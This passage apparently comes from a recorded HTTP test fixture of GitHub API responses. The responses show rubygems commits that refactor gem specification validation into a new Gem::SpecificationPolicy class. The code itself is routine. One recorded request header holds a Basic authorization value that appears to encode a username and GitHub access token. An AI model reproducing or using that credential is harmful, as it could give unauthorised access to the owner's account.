false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","url":"https://api.github.com/repos/rubygems/rubygems/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","html_url":"https://github.com/rubygems/rubygems/commit/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e"}],"stats":{"total":305,"additions":161,"deletions":144},"files":[{"sha":"a45d4d73cc1305fe40486abae082248fe9dc0731","filename":"lib/rubygems/specification.rb","status":"modified","additions":18,"deletions":0,"changes":18,"blob_url":"https://github.com/rubygems/rubygems/blob/85cabed4fbc3274ad63335efd141c052e56db3dc/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/85cabed4fbc3274ad63335efd141c052e56db3dc/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=85cabed4fbc3274ad63335efd141c052e56db3dc","patch":"@@ -2695,6 +2695,24 @@ def normalize_files\n @extensions.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n end\n \n+ def validate_metadata\n+ Gem::SpecificationPolicy.new(self).validate_metadata\n+ end\n+\n+ ##\n+ # Checks that dependencies use requirements as we recommend. Warnings are\n+ # issued when dependencies are open-ended or overly strict for semantic\n+ # versioning.\n+ def validate_dependencies\n+ Gem::SpecificationPolicy.new(self).validate_dependencies\n+ end\n+\n+ ##\n+ # Checks to see if the files to be packaged are world-readable.\n+ def validate_permissions\n+ Gem::SpecificationPolicy.new(self).validate_permissions\n+ end\n+\n ##\n # Set the version to +version+, potentially also setting\n # required_rubygems_version if +version+ indicates it is a"},{"sha":"1dd545ad76b4052a70c3696f6ee3725309d21ac5","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":143,"deletions":144,"changes":287,"blob_url":"https://github.com/rubygems/rubygems/blob/85cabed4fbc3274ad63335efd141c052e56db3dc/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/85cabed4fbc3274ad63335efd141c052e56db3dc/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=85cabed4fbc3274ad63335efd141c052e56db3dc","patch":"@@ -43,6 +43,149 @@ def call\n true\n end\n \n+ def validate_metadata\n+ unless Hash === metadata\n+ raise Gem::InvalidSpecificationException,\n+ ''metadata must be a hash''\n+ end\n+\n+ url_validation_regex = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z}\n+ link_keys = %w[\n+ bug_tracker_uri\n+ changelog_uri\n+ documentation_uri\n+ homepage_uri\n+ mailing_list_uri\n+ source_code_uri\n+ wiki_uri\n+ ]\n+\n+ metadata.each do|key, value|\n+ if !key.kind_of?(String)\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata keys must be a String\"\n+ end\n+\n+ if key.size > 128\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata key too large (#{key.size} > 128)\"\n+ end\n+\n+ if !value.kind_of?(String)\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata values must be a String\"\n+ end\n+\n+ if value.size > 1024\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata value too large (#{value.size} > 1024)\"\n+ end\n+\n+ if link_keys.include? key\n+ if value !~ url_validation_regex\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n+ end\n+ end\n+ end\n+ end\n+\n+ ##\n+ # Checks that dependencies use requirements as we recommend. Warnings are\n+ # issued when dependencies are open-ended or overly strict for semantic\n+ # versioning.\n+ def validate_dependencies # :nodoc:\n+ # NOTE: see REFACTOR note in Gem::Dependency about types - this might be brittle\n+ seen = Gem::Dependency::TYPES.inject({}) { |types, type| types.merge({ type => {}}) }\n+\n+ error_messages = []\n+ warning_messages = []\n+ dependencies.each do |dep|\n+ if prev = seen[dep.type][dep.name] then\n+ error_messages << <<-MESSAGE\n+duplicate dependency on #{dep}, (#{prev.requirement}) use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''#{dep.requirement}'', ''#{prev.requirement}''\n+ MESSAGE\n+ end\n+\n+ seen[dep.type][dep.name] = dep\n+\n+ prerelease_dep = dep.requirements_list.any? do |req|\n+ Gem::Requirement.new(req).prerelease?\n+ end\n+\n+ warning_messages << \"prerelease dependency on #{dep} is not recommended\" if\n+ prerelease_dep && !version.prerelease?\n+\n+ overly_strict = dep.requirement.requirements.length == 1 &&\n+ dep.requirement.requirements.any? do |op, version|\n+ op == ''~>'' and\n+ not version.prerelease? and\n+ version.segments.length > 2 and\n+ version.segments.first != 0\n+ end\n+\n+ if overly_strict then\n+ _, dep_version = dep.requirement.requirements.first\n+\n+ base = dep_version.segments.first 2\n+\n+ warning_messages << <<-WARNING\n+pessimistic dependency on #{dep} may be overly strict\n+ if #{dep.name} is semantically versioned, use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}'', ''>= #{dep_version}''\n+ WARNING\n+ end\n+\n+ open_ended = dep.requirement.requirements.all? do |op, version|\n+ not version.prerelease? and (op == ''>'' or op == ''>='')\n+ end\n+\n+ if open_ended then\n+ op, dep_version = dep.requirement.requirements.first\n+\n+ base = dep_version.segments.first 2\n+\n+ bugfix = if op == ''>'' then\n+ \", ''> #{dep_version}''\"\n+ elsif op == ''>='' and base != dep_version.segments then\n+ \", ''>= #{dep_version}''\"\n+ end\n+\n+ warning_messages << <<-WARNING\n+open-ended dependency on #{dep} is not recommended\n+ if #{dep.name} is semantically versioned, use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}''#{bugfix}\n+ WARNING\n+ end\n+ end\n+ if error_messages.any?\n+ raise Gem::InvalidSpecificationException, error_messages.join\n+ end\n+ if warning_messages.any?\n+ warning_messages.each { |warning_message| warning warning_message }\n+ end\n+ end\n+\n+ ##\n+ # Checks to see if the files to be packaged are world-readable.\n+ def validate_permissions\n+ return if Gem.win_platform?\n+\n+ files.each do |file|\n+ next unless File.file?(file)\n+ next if File.stat(file).mode & 0444 == 0444\n+ warning \"#{file} is not world-readable\"\n+ end\n+\n+ executables.each do |name|\n+ exec = File.join bindir, name\n+ next unless File.file?(exec)\n+ next if File.stat(exec).executable?\n+ warning \"#{exec} is not executable\"\n+ end\n+ end\n+\n private\n \n def validate_nil_attributes\n@@ -146,54 +289,6 @@ def validate_authors_field\n end\n end\n \n- def validate_metadata\n- unless Hash === metadata\n- raise Gem::InvalidSpecificationException,\n- ''metadata must be a hash''\n- end\n-\n- url_validation_regex = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z}\n- link_keys = %w[\n- bug_tracker_uri\n- changelog_uri\n- documentation_uri\n- homepage_uri\n- mailing_list_uri\n- source_code_uri\n- wiki_uri\n- ]\n-\n- metadata.each do|key, value|\n- if !key.kind_of?(String)\n- raise Gem::InvalidSpecificationException,\n- \"metadata keys must be a String\"\n- end\n-\n- if key.size > 128\n- raise Gem::InvalidSpecificationException,\n- \"metadata key too large (#{key.size} > 128)\"\n- end\n-\n- if !value.kind_of?(String)\n- raise Gem::InvalidSpecificationException,\n- \"metadata values must be a String\"\n- end\n-\n- if value.size > 1024\n- raise Gem::InvalidSpecificationException,\n- \"metadata value too large (#{value.size} > 1024)\"\n- end\n-\n- if link_keys.include? key\n- if value !~ url_validation_regex\n- raise Gem::InvalidSpecificationException,\n- \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n- end\n- end\n- end\n- end\n-\n-\n def validate_licenses\n licenses.each { |license|\n if license.length > 64\n@@ -218,25 +313,6 @@ def validate_licenses\n warning\n end\n \n- ##\n- # Checks to see if the files to be packaged are world-readable.\n- def validate_permissions\n- return if Gem.win_platform?\n-\n- files.each do |file|\n- next unless File.file?(file)\n- next if File.stat(file).mode & 0444 == 0444\n- warning \"#{file} is not world-readable\"\n- end\n-\n- executables.each do |name|\n- exec = File.join bindir, name\n- next unless File.file?(exec)\n- next if File.stat(exec).executable?\n- warning \"#{exec} is not executable\"\n- end\n- end\n-\n def validate_lazy_metadata\n lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n lazy_pattern = /FI XME|TO DO/x\n@@ -289,82 +365,5 @@ def validate_values\n warning \"#{file} is a symlink, which is not supported on all platforms\"\n end\n end\n-\n- ##\n- # Checks that dependencies use requirements as we recommend. Warnings are\n- # issued when dependencies are open-ended or overly strict for semantic\n- # versioning.\n- def validate_dependencies # :nodoc:\n- # NOTE: see REFACTOR note in Gem::Dependency about types - this might be brittle\n- seen = Gem::Dependency::TYPES.inject({}) { |types, type| types.merge({ type => {}}) }\n-\n- error_messages = []\n- warning_messages = []\n- dependencies.each do |dep|\n- if prev = seen[dep.type][dep.name] then\n- error_messages << <<-MESSAGE\n-duplicate dependency on #{dep}, (#{prev.requirement}) use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''#{dep.requirement}'', ''#{prev.requirement}''\n- MESSAGE\n- end\n-\n- seen[dep.type][dep.name] = dep\n-\n- prerelease_dep = dep.requirements_list.any? do |req|\n- Gem::Requirement.new(req).prerelease?\n- end\n-\n- warning_messages << \"prerelease dependency on #{dep} is not recommended\" if\n- prerelease_dep && !version.prerelease?\n-\n- overly_strict = dep.requirement.requirements.length == 1 &&\n- dep.requirement.requirements.any? do |op, version|\n- op == ''~>'' and\n- not version.prerelease? and\n- version.segments.length > 2 and\n- version.segments.first != 0\n- end\n-\n- if overly_strict then\n- _, dep_version = dep.requirement.requirements.first\n-\n- base = dep_version.segments.first 2\n-\n- warning_messages << <<-WARNING\n-pessimistic dependency on #{dep} may be overly strict\n- if #{dep.name} is semantically versioned, use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}'', ''>= #{dep_version}''\n- WARNING\n- end\n-\n- open_ended = dep.requirement.requirements.all? do |op, version|\n- not version.prerelease? and (op == ''>'' or op == ''>='')\n- end\n-\n- if open_ended then\n- op, dep_version = dep.requirement.requirements.first\n-\n- base = dep_version.segments.first 2\n-\n- bugfix = if op == ''>'' then\n- \", ''> #{dep_version}''\"\n- elsif op == ''>='' and base != dep_version.segments then\n- \", ''>= #{dep_version}''\"\n- end\n-\n- warning_messages << <<-WARNING\n-open-ended dependency on #{dep} is not recommended\n- if #{dep.name} is semantically versioned, use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}''#{bugfix}\n- WARNING\n- end\n- end\n- if error_messages.any?\n- raise Gem::InvalidSpecificationException, error_messages.join\n- end\n- if warning_messages.any?\n- warning_messages.each { |warning_message| warning warning_message }\n- end\n- end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:51 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4518' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9b110775c477c389871879b34e3b164d" Last-Modified: - Fri, 24 Nov 2017 21:31:43 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042562' X-Github-Request-Id: - A222:4D97:903623:1C471FB:5A50E467 body: encoding: ASCII-8BIT string: '{"sha":"adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:31:43Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:31:43Z"},"message":"SpecificationPolicy","tree":{"sha":"fced0063d0cc20b613d43da01d03789a113405fe","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fced0063d0cc20b613d43da01d03789a113405fe"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","html_url":"https://github.com/rubygems/rubygems/commit/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c7702320330ccc67408755c8df0372d4d764e61","url":"https://api.github.com/repos/rubygems/rubygems/commits/9c7702320330ccc67408755c8df0372d4d764e61","html_url":"https://github.com/rubygems/rubygems/commit/9c7702320330ccc67408755c8df0372d4d764e61"}],"stats":{"total":705,"additions":380,"deletions":325},"files":[{"sha":"86e60b4c4e72986dc192ba504d80dd1726915761","filename":"lib/rubygems/installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","patch":"@@ -703,7 +703,7 @@ def verify_gem_home(unpack = false) # :nodoc:\n end\n \n def verify_spec_name\n- return if spec.name =~ Gem::Specification::VALID_NAME_PATTERN\n+ return if spec.name =~ Gem::SpecificationPolicy::VALID_NAME_PATTERN\n raise Gem::InstallError, \"#{spec} has an invalid name\"\n end\n "},{"sha":"fa1abb7e51fc1a82684d782ce5ec5d0f421293d3","filename":"lib/rubygems/specification.rb","status":"modified","additions":9,"deletions":324,"changes":333,"blob_url":"https://github.com/rubygems/rubygems/blob/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","patch":"@@ -13,6 +13,7 @@\n require ''rubygems/deprecate''\n require ''rubygems/basic_specification''\n require ''rubygems/stub_specification''\n+require ''rubygems/specification_policy''\n require ''rubygems/util/list''\n require ''stringio''\n \n@@ -109,8 +110,6 @@ class Gem::Specification < Gem::BasicSpecification\n \n private_constant :LOAD_CACHE if defined? private_constant\n \n- VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n-\n # :startdoc:\n \n ##\n@@ -2679,256 +2678,21 @@ def validate packaging = true\n extend Gem::UserInteraction\n normalize\n \n- nil_attributes = self.class.non_nil_attributes.find_all do |attrname|\n- instance_variable_get(\"@#{attrname}\").nil?\n- end\n-\n- unless nil_attributes.empty? then\n- raise Gem::InvalidSpecificationException,\n- \"#{nil_attributes.join '', ''} must not be nil\"\n- end\n-\n- if packaging and rubygems_version != Gem::VERSION then\n- raise Gem::InvalidSpecificationException,\n- \"expected RubyGems version #{Gem::VERSION}, was #{rubygems_version}\"\n- end\n-\n- @@required_attributes.each do |symbol|\n- unless self.send symbol then\n- raise Gem::InvalidSpecificationException,\n- \"missing value for attribute #{symbol}\"\n- end\n- end\n-\n- if !name.is_a?(String) then\n- raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n- elsif name !~ /[a-zA-Z]/ then\n- raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n- elsif name !~ VALID_NAME_PATTERN then\n- raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n- end\n-\n- if raw_require_paths.empty? then\n- raise Gem::InvalidSpecificationException,\n- ''specification must have at least one require_path''\n+ validation_policy = Gem::SpecificationPolicy.new(self)\n+ validation_policy.packaging = packaging\n+ validation_policy.call\n+ ensure\n+ if $! or @warnings > 0 then\n+ alert_warning \"See http://guides.rubygems.org/specification-reference/ for help\"\n end\n+ end\n \n+ def normalize_files\n @files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n @test_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n @executables.delete_if { |x| File.directory?(File.join(@bindir, x)) }\n @extra_rdoc_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n @extensions.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n-\n- non_files = files.reject { |x| File.file?(x) || File.symlink?(x) }\n-\n- unless not packaging or non_files.empty? then\n- raise Gem::InvalidSpecificationException,\n- \"[\\\"#{non_files.join \"\\\", \\\"\"}\\\"] are not files\"\n- end\n-\n- if files.include? file_name then\n- raise Gem::InvalidSpecificationException,\n- \"#{full_name} contains itself (#{file_name}), check your files list\"\n- end\n-\n- unless specification_version.is_a?(Integer)\n- raise Gem::InvalidSpecificationException,\n- ''specification_version must be an Integer (did you mean version?)''\n- end\n-\n- case platform\n- when Gem::Platform, Gem::Platform::RUBY then # ok\n- else\n- raise Gem::InvalidSpecificationException,\n- \"invalid platform #{platform.inspect}, see Gem::Platform\"\n- end\n-\n- self.class.array_attributes.each do |field|\n- val = self.send field\n- klass = case field\n- when :dependencies\n- Gem::Dependency\n- else\n- String\n- end\n-\n- unless Array === val and val.all? { |x| x.kind_of?(klass) } then\n- raise(Gem::InvalidSpecificationException,\n- \"#{field} must be an Array of #{klass}\")\n- end\n- end\n-\n- [:authors].each do |field|\n- val = self.send field\n- raise Gem::InvalidSpecificationException, \"#{field} may not be empty\" if\n- val.empty?\n- end\n-\n- unless Hash === metadata\n- raise Gem::InvalidSpecificationException,\n- ''metadata must be a hash''\n- end\n-\n- validate_metadata\n-\n- validate_licenses\n-\n- validate_permissions\n-\n- validate_lazy_metadata\n-\n- validate_values\n-\n- validate_dependencies\n-\n- true\n- ensure\n- if $! or @warnings > 0 then\n- alert_warning \"See http://guides.rubygems.org/specification-reference/ for help\"\n- end\n- end\n-\n- def validate_metadata\n- url_validation_regex = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z}\n- link_keys = %w(\n- bug_tracker_uri\n- changelog_uri\n- documentation_uri\n- homepage_uri\n- mailing_list_uri\n- source_code_uri\n- wiki_uri\n- )\n-\n- metadata.each do|key, value|\n- if !key.kind_of?(String)\n- raise Gem::InvalidSpecificationException,\n- \"metadata keys must be a String\"\n- end\n-\n- if key.size > 128\n- raise Gem::InvalidSpecificationException,\n- \"metadata key too large (#{key.size} > 128)\"\n- end\n-\n- if !value.kind_of?(String)\n- raise Gem::InvalidSpecificationException,\n- \"metadata values must be a String\"\n- end\n-\n- if value.size > 1024\n- raise Gem::InvalidSpecificationException,\n- \"metadata value too large (#{value.size} > 1024)\"\n- end\n-\n- if link_keys.include? key\n- if value !~ url_validation_regex\n- raise Gem::InvalidSpecificationException,\n- \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n- end\n- end\n- end\n- end\n-\n- ##\n- # Checks that dependencies use requirements as we recommend. Warnings are\n- # issued when dependencies are open-ended or overly strict for semantic\n- # versioning.\n-\n- def validate_dependencies # :nodoc:\n- # NOTE: see REFACTOR note in Gem::Dependency about types - this might be brittle\n- seen = Gem::Dependency::TYPES.inject({}) { |types, type| types.merge({ type => {}}) }\n-\n- error_messages = []\n- warning_messages = []\n- dependencies.each do |dep|\n- if prev = seen[dep.type][dep.name] then\n- error_messages << <<-MESSAGE\n-duplicate dependency on #{dep}, (#{prev.requirement}) use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''#{dep.requirement}'', ''#{prev.requirement}''\n- MESSAGE\n- end\n-\n- seen[dep.type][dep.name] = dep\n-\n- prerelease_dep = dep.requirements_list.any? do |req|\n- Gem::Requirement.new(req).prerelease?\n- end\n-\n- warning_messages << \"prerelease dependency on #{dep} is not recommended\" if\n- prerelease_dep && !version.prerelease?\n-\n- overly_strict = dep.requirement.requirements.length == 1 &&\n- dep.requirement.requirements.any? do |op, version|\n- op == ''~>'' and\n- not version.prerelease? and\n- version.segments.length > 2 and\n- version.segments.first != 0\n- end\n-\n- if overly_strict then\n- _, dep_version = dep.requirement.requirements.first\n-\n- base = dep_version.segments.first 2\n-\n- warning_messages << <<-WARNING\n-pessimistic dependency on #{dep} may be overly strict\n- if #{dep.name} is semantically versioned, use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}'', ''>= #{dep_version}''\n- WARNING\n- end\n-\n- open_ended = dep.requirement.requirements.all? do |op, version|\n- not version.prerelease? and (op == ''>'' or op == ''>='')\n- end\n-\n- if open_ended then\n- op, dep_version = dep.requirement.requirements.first\n-\n- base = dep_version.segments.first 2\n-\n- bugfix = if op == ''>'' then\n- \", ''> #{dep_version}''\"\n- elsif op == ''>='' and base != dep_version.segments then\n- \", ''>= #{dep_version}''\"\n- end\n-\n- warning_messages << <<-WARNING\n-open-ended dependency on #{dep} is not recommended\n- if #{dep.name} is semantically versioned, use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}''#{bugfix}\n- WARNING\n- end\n- end\n- if error_messages.any?\n- raise Gem::InvalidSpecificationException, error_messages.join\n- end\n- if warning_messages.any?\n- warning_messages.each { |warning_message| warning warning_message }\n- end\n- end\n-\n- ##\n- # Checks to see if the files to be packaged are world-readable.\n-\n- def validate_permissions\n- return if Gem.win_platform?\n-\n- files.each do |file|\n- next unless File.file?(file)\n- next if File.stat(file).mode & 0444 == 0444\n- warning \"#{file} is not world-readable\"\n- end\n-\n- executables.each do |name|\n- exec = File.join @bindir, name\n- next unless File.file?(exec)\n- next if File.stat(exec).executable?\n- warning \"#{exec} is not executable\"\n- end\n end\n \n ##\n@@ -2997,85 +2761,6 @@ def raw_require_paths # :nodoc:\n \n extend Gem::Deprecate\n \n- private\n-\n- def validate_values\n- %w[author homepage summary files].each do |attribute|\n- value = self.send attribute\n- warning(\"no #{attribute} specified\") if value.nil? || value.empty?\n- end\n-\n- if description == summary\n- warning \"description and summary are identical\"\n- end\n-\n- # TODO: raise at some given date\n- warning \"deprecated autorequire specified\" if autorequire\n-\n- executables.each do |executable|\n- executable_path = File.join(bindir, executable)\n- shebang = File.read(executable_path, 2) == ''#!''\n-\n- warning \"#{executable_path} is missing #! line\" unless shebang\n- end\n-\n- files.each do |file|\n- next unless File.symlink?(file)\n- warning \"#{file} is a symlink, which is not supported on all platforms\"\n- end\n- end\n-\n- def validate_licenses\n- licenses.each { |license|\n- if license.length > 64\n- raise Gem::InvalidSpecificationException,\n- \"each license must be 64 characters or less\"\n- end\n-\n- if !Gem::Licenses.match?(license)\n- suggestions = Gem::Licenses.suggestions(license)\n- message = <<-warning\n-license value ''#{license}'' is invalid. Use a license identifier from\n-http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n- warning\n- message += \"Did you mean #{suggestions.map { |s| \"''#{s}''\"}.join('', '')}?\\n\" unless suggestions.nil?\n- warning(message)\n- end\n- }\n-\n- warning <<-warning if licenses.empty?\n-licenses is empty, but is recommended. Use a license identifier from\n-http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n- warning\n- end\n-\n- def validate_lazy_metadata\n- lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n- lazy_pattern = /FI XME|TO DO/x\n-\n- unless authors.grep(lazy_pattern).empty?\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an author\"\n- end\n-\n- unless Array(email).grep(lazy_pattern).empty?\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an email\"\n- end\n-\n- if description =~ lazy_pattern\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a description\"\n- end\n-\n- if summary =~ lazy_pattern\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a summary\"\n- end\n-\n- if homepage and not homepage.empty? and\n- homepage !~ /\\A[a-z][a-z\\d+.-]*:/i\n- raise Gem::InvalidSpecificationException,\n- \"\\\"#{homepage}\\\" is not a URI\"\n- end\n- end\n-\n # TODO:\n # deprecate :has_rdoc, :none, 2011, 10\n # deprecate :has_rdoc?, :none, 2011, 10"},{"sha":"8895de3ae9a6f6f009417cf7ddeaffa56a2f7027","filename":"lib/rubygems/specification_policy.rb","status":"added","additions":370,"deletions":0,"changes":370,"blob_url":"https://github.com/rubygems/rubygems/blob/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/adcbfdcb5f2c4e8392f01f56c6e521c268815c1e/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=adcbfdcb5f2c4e8392f01f56c6e521c268815c1e","patch":"@@ -0,0 +1,370 @@\n+require ''delegate''\n+class Gem::SpecificationPolicy < SimpleDelegator\n+ VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n+\n+ attr_accessor :packaging\n+\n+ def call\n+ validate_nil_attributes\n+\n+ validate_rubygems_version\n+\n+ validate_required_attributes\n+\n+ validate_name\n+\n+ validate_require_paths\n+\n+ normalize_files\n+\n+ validate_non_files\n+\n+ validate_self_inclusion_in_files_list\n+\n+ validate_specification_version\n+\n+ validate_platform\n+\n+ validate_array_attributes\n+\n+ validate_authors_field\n+\n+ validate_metadata\n+\n+ validate_licenses\n+\n+ validate_permissions\n+\n+ validate_lazy_metadata\n+\n+ validate_values\n+\n+ validate_dependencies\n+ true\n+ end\n+\n+ private\n+\n+ def validate_nil_attributes\n+ nil_attributes = __getobj__.class.non_nil_attributes.select do |attrname|\n+ __getobj__.instance_variable_get(\"@#{attrname}\").nil?\n+ end\n+ return if 